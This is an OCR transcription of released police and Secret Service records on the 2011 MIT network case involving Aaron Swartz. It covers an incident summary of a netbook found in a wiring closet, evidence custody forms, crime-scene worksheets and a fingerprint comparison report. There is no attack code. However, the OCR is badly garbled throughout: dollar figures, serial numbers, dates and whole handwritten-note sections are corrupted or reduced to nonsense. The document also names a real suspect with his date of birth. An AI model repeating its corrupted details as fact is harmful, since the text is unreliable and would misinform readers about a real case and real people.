B) {BUZUC mit.edu), an [PROVBIINC)
). | ]
1 DR 01/03/11 the library had notified him that someone was downloading large

numbers of

journdls from the library without authorization. Large amounts of unauthorized

downloading was first

noticed by the 1ibrary on 09/29/10 and on 11/23/10 there was another incident of

excessive B)E). (B)TIC)

dorqlq:dwng. FrogiOI 03/11 to 01/04/11{EX8).0ON7X | was able to trace the

activity to a particular

switeh 1h the wire <]oset. whenkbxe)ib“7xc) Irit.edu) when to

examine the

wire closet he found the unauthorized computer connected to the switch. An external

hard drive was

connected to the netbook. The netbook was an Acer Aspire one with a serial number
AN 100€1601. The netbook matches the description of an Acer netbook

reported as stolen to MIT Police on 12/31/10. The netbook appeared to

be usin

mdres?gll(b)(ks.(b)(n(c)] and [®)(E).ON7NC) | which are 1P address belonging to MIT. use of
Map showsd

that the netbook had port 22 and 8092 open . Port 22 is the default port for SSH
(secure shell network

protocolg and port 8092 that is often associated with TCP (Transmiss{on Control
protocol) traffic.

Cambridge Police processed the scene for prints. Stickers on the outside of the
netbook showad that

it was or1?ina11y loaded with Windows 7 starter edition but an examination of the
screen indicated that

the current operating system was Ubuntu, a type of tinux. The login screen showed a

computer name .

of ‘ghost-la?top" with the user “Gene Host” Togged in. The login screen had a

assword, All efforts to (b 6) (b)(n(c)
¥pass ébe 109{3 screen were futile. started a wireshark packet capture
of traffic on the

switch aroynd 9aM on 01/04/11 and the packet capture is continuing. Fbxsx(bx7x0) I
(b)(B).(bX7}C) )

provided s
with a copy of tlow traffic on the network. The flow traffic is currently being
page 1
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01500c47 (Unauthorized activity on Massachusetts Institute of Technology network).txt

uploaded to the CERT )

dropbox. MIT decided to leave the netbook running in place with the hopes of
capturing more

network traffic to show if a suspect was controlling the nethbook through a SSH
channel and if the

network traffic can show where the suspect 1s controlling the netbook from. MIT
placed a camera in

the wire closet to observe 1f the suspect returns for the netbook. MIT alsc

estahlished an alarm to ,

gotigy QIE if the netbook 1s removed from the network. The technical journals being
ownloade

have a monetary value. A1l MIT students have access to view the journals but are
Timited as to how

much they can download and anyone outside of MIT including students after they

graduate have to .

pay a substantial subscription to access the files. The price for downloading one
file can vary from . .

%ggoégg 58 $3,000.00. Total value of the downloaded files could be in excess of

(b)(8).(bX7XC)

0.8, Secret service
fice

{B)(8).(bXTUC)

Page 2
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WordPerfect Decument Compare Summary

Original document: N:) _5’}‘“’ ®X7) 1y Seizure Warrants\Swartz, Aaron (Heyman)\Selzure Warrant
AL Dralt 5-12- IO.wpd-

Revised document: N:{TWGTORT_ Ja Seizure Warrants\Swartz, Aaron (Heyman)\Final Seizare
Warrant Drafl.wpd

Deletions are shown with the following atiributes and color:
Strikcont, Blue RGB(0,0,255).
Deleted text Is shown as full text,

Insertions are shown with the following atteibutes and color:
Double Underline, Redline, Red RGB(255,0,0).

The document wag marked with 22 Deletions, 26 Insertions, 0 Moves.
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Mastser Name Photos Page 1 of 3

01/06/2011 15:03:00(1100000437) AARON SWARTZ H

http:/fpd-imsZ/QEDIpoliceparmcr/commo:x!crimweblmnivicw/photoaJsp?agency:null&m... 47712



Mastser Name Photos Page 2 of 3

01/06/2011 15:03:00(1100000437) AARON SWARTZ H

2646
http://pd-rms2/QED/policepartner/common/crimeweb/mniview/photos, jsp?agency=nuli&m... 4/7/2011
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Mastser Name Photos Page 3 0f 3

01/06/2011 15:04:00(11000004T) AARON SWARTZ H

hitp://pd-mis2/QED/policepartnesicommon/crimeweb/mniview/photos.jspTagency=nullém... 4772611

RIF




Main Porm Page 1 of 4

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Property (tam Information
Agency Name ncident # Tog Numnber Qassification
CAM-PD 11000078 11000078  |BVIDENCE
Curvent Ststus T DT Staum
ACTIVE

DT Entersd
(b)(8).(BXTHC) 02/03/2011 11:29:10
Ugduted By: ID/Name DT Updated
|CXEMBIINC) 02/25/2011 09:01:13

2648
http://pd-rins2/QED//policepartner/common/crimeweb/propview/main.jsplilemnum=11000... 4/7/201}



Main Form Page 2 of 4

ltem Dascription

Progerty Typa Quantity lEsﬂmM Value
COMPUTER HARDWARE/SOFTWARE 3
Description
1 SEALED PLASTIC BAG WITH COMPUTER ,HARD DRIVE ,CORD
Make Model IColor Sertn) Number
Owner Information ]
Name MN] Nomber Phone
Address City Gtate Zip Code
Notations
Notation #: 1 Type: AUDIT
ID/Nowe DT Rutered

[LX6).(BX7XC) | 0212272011 09:46:28
Notation #: 2 Type:
B/ Name DT Putered

[(B)E).(bX7)C) | 02222011 15:43:53
Notation #: 3 Typo: NOTATION
D/ Name DT Butered

I(b)(b‘ (b)7)C) |8 02/2572011 09:00:35
Notation Text TS
removed after Audit Turned over to De }‘é’f 1OXT)

2649
http://pd-rms2/QED//policepartner/common/crimewsb/propview/main.jspitemaum=11000... 4/7/2011



Matn Form Page Jof 4
Custodlies
{Custody Information
'I'ransfer Type DT Treusferad
ICHRCKOUT 02/25/2011 09:01:13
e Dinerad B YN DT Entered
(E)(6).(b)X7)C) 02/25/2011 09:01:13
Transfer Froro Information
Personuet/OfMcer 1D Agency Name
()8),()7)C)CNOHONTHC) CAM-PD
‘Transfer To Information
Personael/Offlcer 1 i} Name Agency Name
(b)(8).(b)(7)(C) (D)(6).(b)7HC CAM-PD
Cods Name Business File
SS SS .
External Person Name Lab Subymlasion Nuraber
Castndy Notations
REMOVED BY @@ mifici  JFOR SEARCH WARRENT
|Custody Information
‘Transfer Type DT Tronsfered
MOVE 02/11/2011 15:09:05
Bntered By: 1D/ Name DT Entered
(b)(8).(bXTNC) 02/22/2011 15:09:08
Transfer From Information
Locaton Shelf Bin
ID UNIT
P § T . A Na
OGN "‘] (B)B)BUTIC) o oy
Transfer To Informaifon
Location Sheif Bin
1D LAB LOCKER
Perzoguel \ ame Ageney Name
L)6).BY7IC)  [PHOIBHTIC) CAM-PD
[ Custody Notations
PROCESSED ALL ITEMS. POSITIVE RESULTS POR LATENTS.
_ 2650
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Main Form

Page4 of 4

Custody Information

Transfer Type DT Trandered

MOVE 02/03/201) 11:35:53

Eutered By: 0>/ Name, DT Entered

(b)(8),(d)7)(C) 022242011 15:05:53

‘Transfer From Information

Locadon Suelt |8

ID LAB LOCKER

Persunncl/Otlfeer Agency Namo
[ <b>(e).(b)(7)<0)i (b)(8).(5XN(C) CAM-FD

Transfor To Information

Location Shelt Bin

1D UNIT

FERTS T oeero | e

Custody Notations B

REPACKAGED ITEMS IN A SEALED LARGE BROWN PAPER BAG AND CONTAINS:
1 ACER LAPTOP, | EXTERNAL HARDDRIVE COMPARTMENT W/ REMOVEABLE UNIT,

ELECTRICAL CORDS.
Custody Information
Transfer Type DT Transfercd
CHECKIN 02/03/2014 11:31:26
KEntsred By: 1D 4 Na DT Entered
I (bX6). (X 7)(C)] loyoanon 11:31:26
Transfer Prom Informaticn
Agency N
(b)(6).(b)(7}(C) I(b)(ﬁ),(b)(?)(C) c AM.pgn
Transter To Information
Location Shelf Bin
D LAB LOCKER
Agency Name
(Eg(ﬁlsl.(b)("f)(c) l (b)(8),(bX7)C) CAM-PD

hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main. jsp7itemnum=11000...

2651
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| CRIME SCENE
Processing Worksheel

Case n:jlzm_ Ty)po of Crime: . Q.OMW{Q ( CN{\MJ/ i

Date Processed: (M(T v mes sum ) 1410 time processed: || 05 AM

Processi :

{)(8).(b)(7)(C)
Technlcl
TBY(6). (N7 )(C) T :
Det, Assigned Officers Assisting: 4/ [T FICE, sS
Suspect(s): N s Y Vietim(s): .
rMr7
Weather Conditlons: ) Scene Conditions:© "+ .
. ’.\ 8
) . J_-ﬂ-u/.vh'b\ TOartin Do, =
(@utdoors : Sun/f:tpuds i cnn cl g ?3 ¢ /1 0 ek
Wet/Dry Approx.Temp " F Qc‘n\*n.zﬁ)u Nt B ks pockalys
: T . NN O~Q¢‘-D\.4
Other. ° Panaps
Photos Taken: @ N #of l-"hotor.:%l5 Total # of Packages Submitted: ( D LPLs

NOTES: "2\ o Closad 4 10 P4t (banusont W)

- AL laRRp on s o6 A Vy ching - Courect by @ Bvmn Carod b0aof
baXj AR Bmuicha NP wall vion 1665F aetuls (2 M)l ppasip
Tdo o WY W wcts (ptep T TS gl e cadalyst 40 m
%mélgw i by MT Post-arinae.
 Tehures dakan o Waviaus gl on Walle  oloset
THO LG (U SEUD ARG LBPL ARSI M
Hava Inive:. iAooted - 1 2
HBDPIn Hbﬁ-sl/u[ | v L@iﬂ’ . .
SIS 10,2

- AL, « BURBEY G, Thsios v g @tk |
- sC - e
~;o¢€,@ %m\ Q}SL Awotect ~ 12D '6 page Z_.of_/Z[
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Case i:_|| - 0000 73

Tech {(B)6).(b)7XC)

- ".‘ 3 S . A 0%, 1% :'-.-‘.'.» e
Package Type {5 | Results voi®
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EVIDENCE
Processing Worksheel

case #:{J~ 0 Q 0’;@ Type of Crime: CQ/V\W CM‘ WAL

Date PmmM: MmT W@F S Sun) 2.‘ é] “9}\1ma Processed: l l: 5?
<2/, //)///

Procassing Locatlon: ﬁ\ns Sixth St. (Statlo’n)

(b)(8).(B)(THC)
Techniclan
Date of Evidence Submission; ‘?—l 5( I Submitting Officer: («.):e_up
Suspect(s): Victim{s):
Ad o DWRETZ
of sistt Dt _Acsionod:
Depawsing BRETBHTHO)
Nowe-
#of Photos 7 / Total # of Packages Submmed
Eﬁf (£s)
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Boston Police Department Report nf the Latent
Physical Comparison Unit
One Schroeder Plaza
Boston, MA 02120

*CCH: 110099836  LATH#: 110192 Unit: Outside Agency Date: 3/7/2011
TatMdent:  Investigation for another Agency

Victim: MIT '

Suspect(s) SWARTZ, Aaron  DOB: 11/08/1986

lnvesﬁgotor. Asqngned
Examination Requested; Fiugerprint Evaluation and Compamon

Item Examined;
Item1: One (1) CD, submitted by tbe Cambridge Police Department, confaining
fourteen (14) {roages as follows:
: Twelve (12) images of latent LP8 reportedly récovered from the
“surface of au intermal hard-drive unit”
Oune (1) Image of en incident report
One (1) image of a ten-print card In the name of SWARTZ

Exemplar Avaflable for the following subfect:
* 'Ten-priut image receivéd from Cambridge Police Department on item 1:
- One (1) eard of fen prints for SWARTZ, Aaron (OBTN# TCAM201100032)

Resalts of E_xnnﬂnaﬂon:

Seryices Performed:
A request was made to evaluate the above listed evidentiary item for identifisble latent
impressions and compare any to the known impressions of SWARTZ.

Findings:
Cambtidge Police Departmam latent LP8 was assigned 1A for the putposea of

comparizon within the Boston Police Departiment's Latent Print Section.

One (1) iatent, 1A, with suffictent ridge detail for individualization purposes was found
onitem 1.

:';.' ,rfl‘ 'f‘ An ASCLD/LAB® Accredited Laboratory aince 2009

Al0h
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3

CC# 110099836
LAT¥ 11-0192
Date: 3/07/2011
Page: 2

Latont 1A was compared to the exempldr prints for SWARTZ and was
INDIVIDUALIZED in the following manner:
1A - as his left thumb

.

The evidentiary latent will be maintained in the Latent Print Section.
Please notify us of any change in status regarding this case.
The resalts detailed in this report are supported by testing docamentation. The

original supporting documentation is.available for review at the unit and may
conslst of worksheets, notes, Instru eut traclugs, and possible photographs.

/ / __ Reviewsd by

O n/)(t.) (b)(8).(bX7XC)

4 An ASCLD/LAB® Accredited Laboratory since 2009

Senior Criminglist  [(5)(8).
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Boston Police Department Latent Print Ssetion

CO¥ L1006 LAT,
s

COMPARISON TECHNICAL AND ADMINISTRATIVE REVIEW CHECKLIST

lb 8),{b f C?
Techujenl Rwlcwe( HBhARRAL - Date ?z' 3‘“ _

FINGERPRINT WORK SHEET AND ASSESSMENT OF DATA
o/ A Dosample descriptions Histod matoh the Chein of Custody Form?
L B. Were methods used in the proper sequence?
v C, Was 4 date recorded st the time any analysig/comparison technique was performed?

11-0192

iy D. Do notes and any independent Analysis, Comparison and Bvaluetion of any
prints support the findings of the teport?
m No Valus
[ ndividualization. 1A
Elimination
Inconclusive
[E ‘01' Value : R
v L. Doos the technical reviswer concur with findings of report?
Comgoents:
(bXB).(bXTKC)
Adminlstrative Roviewer - Date_ 3/{] .

A. CC #, LAT & and Evidence description match ths Chain of Custady Form?

B. Submitting agency, investigator, suspect, victim, DOB, CR#, CC¥ rmaich the
documentation within the cagefite?

Chabi of Custody completa?  Signed and dated apprupriately?

Are ail pages numbered and initlaled on the Examinsdon Documenta?

CCH and LAT # wnitten on all pages of the case fils?

Has infarmstion has baen entered into all relevant databases (ET, Peor Review Log,
AFIS/IAFIS, Firearm, etc.)?

3 Are SID/CR #'s accurate?

H. Have analysis images been added to the server?

(=0 &

SN

Commepls:
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|| __Baoston Pofice Departnient Latent Priug Section ﬂ

LATENT PRINT COMPARISON WORKSUEET

cok 110099836 swDu, _JUZOLL Date: 31|11
LAT®: __ 11-0192 Analyst. _[(B)O).OXTHC) | 14
Incident:___v. For another agency Poge: 1 . '
Itewd: 1. ‘Totel Pages:_Je Qy s '»“

{ 1 ACCESSED VIRTUAL FOLDER FROM SBCURBD LATENT PRINT SBCTION STORAGE AREA NETWORK

PACKAQING

(X] Manila envelops [ ) Bvideros anvslope { | Browm paper cvidence beg

{ 1 Cloar plattia evidence bag [ ] Other _— [JOdwe

SECURED BY i

[ ] Yellow ovidencs tape { X ) Bnd evidence taps { | Blug evidence tape

{ 1 Cleas plastic tape { ] Other { ) Other,

MARKINGS

(X1 Packaging [X] Seal (SD) 1X} Label {] Oher

110099836 (1)

PACKAGE/NVIRTUAL FOLDER CONTAINED: ~

1: Ono (1) CD containing fourteen (14) images as follows;
Twelve (12) imagea are of a latent (described as LP8) reportedly from the “surface of an
intemnal hard-drive umic® '
One (1) image is an incident report (see pages 2-3)
One (1) imags is a ten-print card in the name of SWARTZ, Aaron
(OBTN# TCAM201100032)

\

PROCESS: 4
VIS/ Adobe Photoshop? sco page # (0} ACE- Latent EP8 will be assigned {A for purposes of
comparison in the Boston Police Department’s Latent Print Section.

RESULTS: TOTAL LATENTS: 1

[X] Sufictont cidgs detail for individuslization purposes prosent
Latent(s): __1A
Latent(s): Total: 1

[ ] thentfielent ridge detail por individuslization putposes presont
Latend(a):
Latent(a): . Totel: 0

[ X] No APIS searches conducted st this tims

AFIS: ___ Mot AFISable - Scarched as NO ADD Searchoed ns ADD
Latont(s): )

[X] NoIaFIS seevches conducted at thts time

IAFIS: _ _Not[AFISable _ Searched 2s NO ADD

.. Searched a3 ADD
Latenf(s):

s
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It 399856

I -@t9e

fnv. %{«naﬂwcﬁe“"‘
CAMBRIDGE POLICE DEPARTMENT -
CAMBRIDGE, MA . ? & (Sd’
Incident Report #11000078
Report Entered: 02/11/2011 17:28:22

Case Tile Location Apt/iunit #
MIT COMPUTER CRIMES 21 AMES STREEY B8LD 1
Date/Time Roporisd Date/Time Occursed

01/04/2011 10:48:00 to

Incidsnt Type/Offense

1.) WIBCELLANBOUS STATUTORY VIOLATION —
4 Approving Officar
I(b)(ﬁ).(b)(T)(C) | [(b)(G).tb)H)(C) i

Persons
Rols Neme Sex Race Age DoB Phone - Address

P .

Offenders
Swms Nams Sex Race Age DoB Phone Address

Vehicles

Property
Class Desoription Make Model Serlal # Vaiue

Namative

EVIDENCEs
Tha toliowing llems ware documented an scene with notea and photographs oy and riot callactad at this i,

CSt: (1) minl Inptop: ACER, Aspiraong, SN: LUSAXaDco1001E 1601, SNID: 00108566618, \Laptop Is
doseribad as a black base w! gliver top.

C82: (1) Extomal haradrivae compartmont: Sitver w/ top & botlom that soparole lrom oach athar exposing

an Intemnl ramoveable unk (CS2b). The compartment reads, "RockotFish” on the top and hottom reads, “RF
3.5 SATA lid enclosure kit RF-AHDJ5" Insida tho compariment is & graan o'actronle clrcult panol. A USB
card connsuts CS2 to C81.

GSZb: (1) inner hard drive unit, or intemal removeable unitloceted inside CS2. Unit Is a Samsung,

Modsl: HD 184U, SN: S1Y8J1C2800326,

(L X T YY)

The fokowing evidence oollected on scene by me on 01/04/2011 and saalad (n a small coln anvelope.

LPy: (1)‘3221:11’1 clear hinge lifiar from the battam right comer of the aner hard-drive Wt (CS2b), Collected at
w. hours,
(1) small claar hinge Kfter from the top right camer of the inner hazd drive unit (CS2b). Caliacted st approx.

é ; smal ciear hinge Lifter from the middie (ef sids of Iaptop scean (C31), Collected at approx. 1228 houre,
1) smai dear hings lilter from the upper let comer of tho laptop scroen (CS1). Collected ot approx. 1230

%2!;2 {1) small claar hinge lifter from the upper dghtcomero( the laptop saréen {CS1). Collootod at apprax.
%I.PB. {1) smau claar hinga lRer from the middie right side of the (aptop soraen (CE1). Colocted at approx. 1248
owrs,

LTI YL Y YL 3

PHOTOS: (83) photos collocted on scane on 01/04/2011,
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o808 detedteneed

NARRATIVE: (6)(6).(b)(7)(C)

On January 4, 2011, nd | responded to the MIT Pollco Statlpn ta agelst w

ocgurad within BLOQ #16. We ware ascorted to tha location by CPD Dotectiva AT Datoctives
and othgr Socrot Service Agents. At approx. 1105 haurs, wae arrived at Bldg (8 and prococded 1o the

basemont leval o a closst (Iabelad #16-004t) that was sacured by MIT officers on scene. We obsorvad

double doors oponing to a clasot area contalning phons and computer natwork postals according to MITIT
speclalists on site. The closol was approx. 4 loot deop by 8 feet wide, tha finor cavered In dust and
aleciricat/compuler/ghone panels lined the walls, some w/ wires pluggod into the panels/units. | observad a chalr
in the conter of the rcom with a lﬁotop on top. We wero advisad this was placed thete by MIT IT speciullsts, On the
tioor, | ajgo ohservod a cardboard box tumed ovar, n small leptop (CSt), and a sliver harddrive comparimant {C$2)
with power cords and data cables cannacting them to the computer panela on the wall. Specifically, a grey

viro conngcts tha faptop to a Clsco Syatems Catalyat 4006 in Row #4, plug #2,

t ingtdant that

B

The scono was dotumanted with notes and photographs. Then | exarmined the laptop, hard-drive co:t‘runmom and
innar unit (CS1, C52, CS2b) and accompanying power cords and USB cards for any visiblo ridge dotail. Faint ndge
datal wag obsorvad an the laptop scresh. | lumaod the laptap, kard-drive and Innor unit (CS1, €82, CS2b) and
povarfUSD cords with & portable fuming wand. | than uzed traditlonal black fingeprrint powador to enhance

any ririgo dolall an the surfacas of those lloms. Ridge datall was obsorved on the Inner hard drive unit (C32b)

and rogulted In 2 tatont print lifts (LP 1, LP2), Ridge datall was niso observed surrouning the laptop acrsen (CS1)
resuiting (n 4 fatent print Uits (LP3-LPE). Mo further ridge datall wag obuerved on eny other suraces.

The items C81, CS2 and CS2b ware loft in the custody of MIT Delectives and Secret Saice Agents.
We cleared the scene at agprox. 1300 hours,
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Roston Police Department Latent Print Sectinn
LATENT PRINT COMPARISON WORKSHEET

ook 110009838 Surt Date: 341/2011 (’
tame;  11-0192 Anstyst:  [OXBIONIRC) | |

fneldanr: IV, for anothor.Ag Page: . 4 :

Q- ney
X

R

1

it 31720

Frge #akm
Left Thumb

10 0 Caze
SWARTZ

Typn
e

LeNvIIEOYIPW

EVALUATION

Nothing Follows
T OBRTNFYCANMRLI 100032 TypeTes-Friat
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et
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EVALUATION

ANALYSISICOMPARISON

Boston Palice Department Latent Priot Section

LATENT PRINT COMPARISON WORKSHEET
cor: 110009838 ' S Dste:  3(1/2011
LAty 110182 Anglys:  JONETONNC)

fosdont: RabBOWP Iny, v cunolbar agucy P -2

Oalo: W11
nn.r &

VERIFICATION
Finges! Paxn
#6 L Thumb

D Tasd
SWARTZ

nothing follows

Reguan
Rtz

acatifer: CRTNS TCAMBUNBI Typea tp

SWARTZ. Asrog

A4

¥.

Dpe:
Taps:
Tpe

IelarOGer:

Bepar

[
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— = — — —
i Boston Police Departmeit Latent Print Unit !

CC#: 110099836 Start Date: 3/1/11
LAT#: 110192 ; Analyst: Jah
Incident: Inv. for another Agcnéy Pago# _{p Qy

) Swma'? Uavone CoQ‘N“Tmﬁwnmm

Bl (jj;

Latent 1A
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WL B

One Schroeder Plaza

m Boston, MA 02120
OYPABTYOENT , 617-343-4465
DuieTimePrinteds 22011 30423 PM T UnitID:  Pisvarma Anelyeis Une
Custody Receipt
Traneactlon Type: Check In . New [tem Status: Checked In
Incident #: 110099836 Typo: INVESTIGATION Datet 272572011
e . e it RN OTHER e
LAT #: 110192
1 Xtem ID: 110099836-1
Catzsgorys Forensics
Source: - other
Dascription: Assistancs to outsido ageocy.
Poquest for comparnisan af
Latent submnitted.
Facllity: Lutent Priot Unit Lacation: Latent Print Unit

{BX8),(EX7XC) —L
Signatui | Date: 5-7,6 Féﬁ / /
__A#__m:(—\ VA A 4
To OIS WHTIHE

3'8“*“': Date: 5 @K/
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February 23, 2011

Hi ,’.‘TT;
I truly appreciate your help with this, Iknow the work load you are up against.

The submitted photos are of 1 latent, laboled LP8. It was developed on the surface of an
interpal hard-drive unit. The photos are taken prior to any processing. Only an ALS was
usad. Once the item was fumed and processed the detail was minimized orlost,

" Thank you again. Fecl free to contact me with questions ot to allow me to retum the favor
of assisting you with any castwork.

(bX6).(bX7XC)
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Main Form Page 1 of 3

CAMBRIDGE POLICE DEPARTMENT

CAMBRIDGE, MA
Property Custody
Proporty item information
Ageney Name Tnckdent # Tug Numbee Claussification
CAM-PD 11000078 11000078-5 EVIDENCE
Curront Location Shelf Bin
ID UNIT [
Current State DT Status
ACTIVE 02222011 17:01:52
Entered By: 1D/ Nana DT Entercd
(b)(6).(bX7NCI§02/22/2011 16:50:13
Upddated liy: 1D/ Nome DT Updated
(b)(8),(bXTHC)]0/22/2011 18:15:2)

2668
htip://pd-rms2/QED/fpolicepartner/common/crimeweb/propview/main.jsplitemnum=11000... 4/772011



Main Form Page 2 0f 3

{ltem Description

Property Type Quaniity Estimated Value
PHOTOS
Deseription
(85) PHOTOS TAKEN ON SCENE

Maks Model Color Serfal Number

Owner Information
Name MNY Number Phone

Address City State Zip Code

Notations

[Notation #: 1 Type: AUDIT
{ID ¢ Nams _|D'T Entered
{ ()(8).(bXTXC)(53/09/201 1 20:10:46

2669
hitp://pd-rms2/QED//policepartner/common/crimeweb/prapview/main.jspitemaum=11000... 4/7/2011



Main Form Page 3of 3
Custodies
Custody Information
Transfer Type DT Transfered
MOVE 01/04/2011 13:05:15
DT Butered
®)6).EXNEC)| 0242212011 18:15:21
Transter From Information
Locstion Shelt Bin
CRIME SCENE
cor ED Agency Nams
(D)(8),( " ﬂ 8).(B)Y(7NC) I
I'ransfer To Information
Location Shelf Bin
ID UNIT
j'_ugmmiom«r 11 @ Agency Name
e ©BXO.ONC)]  [cAM-PD
Custody Information
Tronsfer Typo OT Transfered
MOVRE 01/04/2011 13:05:52
(Entepest Ry I Name DT Entered
®XELEXTXO)|  [02/22/2011 17:01:52
Transfer From Information
Personnel/Officer 1D Name Agency Name
©)8).o)X7XC)|  [IBLBATIHC) ] CAM-PD
Transfer To Information
Loeation Shelf Bla
CRIME SCENB
Personncl/Officer ID N Ageacy Name
EEOENC | CEIOWE) CAMLTO
2670
htip://pd-rms2/QED//policepartner/common/crimeweb/propview/main.jsplitemnum=11000... 4/7/2011



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Proporty itam Information
Agescy Nave Incident # Tag Number Classification
CAM-PD 11000078 11000078-6 EVIDENCE
Curremt Location Shell Bin
D UNIT
Current Status DT Status
ACTIVE 02/22/2011 17:02:30

« ) DT Eatered
(B)8), (bX7HC) 0212212011 17:01:52
Updated By: [D / Name DT Updated
(b)(8).(bX7)(C) 02/22/2011 17:02:30

hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main. jspitemnum=1 1 000... anndit’



Page 2 0f 2

Main Form

ltem Description

Property Type Quantity Estimated Value
PHOTOS 7

Desceipdon

J(’l) PHOTOS TAKEN OF EVIDENCE PACKAGING

Make Madal Coler lsma; Numher

Owner information

Name MNI Number Phone

Address City Stute Zip Code
Notations

Notation #: 1 Type: AUDIT

D/ Name DT Eatered

(B)(6),{b)7HC) J 03/09/201 1 20:11:03
Custodies

Custody Information

Tromfor Type DT Transfered
ICHECKIN 021032011 17:02:30
Entered By: ID/ Name DT Entered
(bX8),(EX7)C) 02/22/2011 17.02:30
Transfer From Information

Personnel/Officer 1D Name Agency Name
(b)8).(b)(7) {b)(8),(b)(7)(C) | CAM-BD
Transfer ‘To Information

Location Sheff Bin

ID UNIT

Personnu/Offticer 1D Nam Ageucy Name
(b)B).(b)7)(C i(b)(ﬁ),(b)(7)(C) I CAM-PD

http://pd-rms2/QEDHpolicepartner/common/crimeweb/propview/main.jsp7itemnaum=11000...

ar1nbit



Main Form

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Page 1of |

Property Custody
Proporty Rem Information
Agency Name Tncident # Tug Number Clessifcation
CAM-PD 11000078 110000784 EVIDENCE
Current Location Shelt Bin
ID UNIT
Carrent Status DT Status
ACTIVE 02/22/2011 16:50:13
ﬁm%ﬂxm DT Eatered
[BE.EXNNC) 0222/2011 16:48:49
Updated By: ID / Name DT Updated
(©)(6).(B)7)(C) 02/22/2011 16:50:13

Iltem Description

Property Type Quantity Estimated Yalue
LATENT LIFTS 4

Descriptivn

(4) SMALL CLEAR HINGE LIFTERS

Make IModd Icmw Serial Number
Qwnar Information

Name MNI Number [Phone

Addres City State Zip Code
Custodies

Custody Information

‘Transter Type LT Transfered
CHECKIN 02/10/2011 09:53:13
Bumdu_y: D¢ Nane DT Entered
(b)(8).(b}(7)(C) | 027222011 16:50:13
Transfer From Information

Personnsl/Offtoer 1D [Name Ageuty Name
(5)(6).(B)(7)C) {©)8).(B)7HC) | CAM-PD
Transfer To Information

Locatlon Shelf Bia

ID UNIT

Persunnel/Officer t0 Name Agency Name
[©)E).®X7ICY | IOXGL) [ CAM-ED

2673
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Main Form Page | of 4

CAMBRIDGE POLICE DEPARTMENT
CAMBRIOGE, MA

Property Custody

Property Hem Information
Agency Name Incident # Tag Number Classification
CAM-PD 11000078 11000078  |EVIDENCE
Current Stutus DT Status
ACTIVE
H D7 Entered
(B)B) OUTC) ] 02/03/2011 11:24:59
s 1D/ DT Updated
(bX6).(bX7)(C) 0272572011 09:03:51

hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main. jsp?ilemnum=11000... ekl



Maia Form

Page2 of 4

Itom Dascription

Praperty Type

COMPUTER HARDWARE/SOFTWARE

Quantity Eatimated Value

Deseription

1 SEALED PLASTIC BAG WITH | THUMD DRIVE

Make Model Color {Serial Number
Owner Information

Name MNI Nwnber Phoae

Address Clty “IState Zip Code
Notations

Notation #: 1 Type: AUDIT

1D /Name DT Entered

(b)(6).{b)(7)(C)

02/03/2011 11:27:24

Notation #: 2 Type: NOTATION

D / Nome DT Entered
{b)(8),(bX7)C) | 02/25/2011 09:04:49
Notation Text

removed after audit By detl(b)(e)'(b) |

http:/lpd-rms2/QED//policepartner/common/crimeweb/propview/main.jsp?itemnum=11000.., 461



Page 3 of 4

Main Form
Custodies
[Custody tnformation
Trzoster Type DT Transfored
CHECKOUT 02/25/2011 09:03:51
nfered By: 1 DT Bntered
(£)(8),(bX7)(C) I 02/25/2011 (9:03:51
Transfer From {nformation
Personnel/Officer JD ¥ Agency Nume
&W_E'a),( )(7")] (bX8).BX7)(C) | CAM-PD
Transfer To Inforsnation
Officer D : Agency Name
i b){(6), C
g{gzb (B)(6),(BX7X CAM-PD
Code Name Businets File
SS SS _
External Person Name Lab Submifesion Number
Cuntody Nowtlons  freer i)
TAKED BY DET|(c) FOR WARRENT
Custody Iuformation
Tyansfer Type DT Trandored
MOVE 02/1172013 15:50:35
|Entered Ry: 1D / Nu DT Entered
(B)B).(b}7)NC) I 0272272011 15:50:35
Tronsfer From Informatioa
Location Shetf Bin
[D UNIT ’
I « M Name. Agestcy Name
( r_‘)\('5).(17)(7) I (b)(8),(B)(7XC) [cam-PD
Transfer To Informatton
Location Shelf Bia
ID LAB LOCKER
l;moamcl/(;m« r ID _Lganég_E_T_é)___ Agency Name
6 B
S{‘)\( ).(bX7) (b)(8),(bX7)X CAM-PD
Custody Notations
I'TEM REPACKAGED IN A SEALED MANIEL.A ENVELOFPE AND CONTAINS
ORIGINAL PLASTIC PACKAGING AND 1 FLASH DRIVE.

hitp://pd-rms YQED//policeparmer/common/crimeweb/propview/main jsp2itemnums=! 1000...

2676
47112011



Main Form

Page 4 of 4

Custody Information

Tranafer Type OT Transfered

MOVE 02/03/2011 11:35.03

Entered By; ID / Na, T Entered

(b)(8),(bM7XC) I 102/221201 1 15:50:03

Transfer From Information

Location Shelt Bin

ID LAB LOCKER

Personnel/OfMicer ID Agency Name

(2{(6)‘(b)(7) (bgﬁg.(biﬂ)(c) ; I CAM-PD

Transfer To Information

Losation Shelt Bin

1D UNIT

Perxanncl/Offtcyr ID Nems Agency Name

l(g)fﬁ).(b)(7) i (b)(8).(b)(7)(C) | CAM-PD

Custody Information

Transfer Type DT Transtered

CHECKIN 02/03/2011 11:27:23
" . DT Entered

(b)(6).(bX7)(C) 02/03/2011 11:27:23 .

Traneler From Information

Perronued/Oiftcer 1D Nusne Agency Name

OS] e CAM.PD

Transfer To {nformation -

Location Shedt Bin

ID LAB LOCKER

B iOfficer ID |Nome Agency Name

Sg)\(ﬁ).(b)(n (b)(6).(bX7}C) CAM-FD

77
http://pd-ms2/QED//policepartner/common/crimeweb/propvisw/main, jsplitemnum=11000... 4/7/26? l



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody
Proporty tem Information
Agency Narae Incident # Tag Number Classificatton
CAM-PD 11000078 11000078-7 EVIDENCE
Carvent Location Sheit Bin
D UNIT
Curreat Status DT Statas
ACTIVE 0212212011 17:05:37
Eatered fly: ID / Neme DT Entered
(BX6).(X7)C) | 022222011 17:02:30
Updated DBy: 1D/ Name DT Updated
[®XB).BXTC) l 03/31/2011 20:40:21

http://pd-rms2/QED//policepartner/common/crimeweb/propview/main.jsp2itemnum=11000.., 4361



Main Form

Page 2 of 2

item Description

Property Type Quantity Rstimated Value
PHOTOS 58

Description

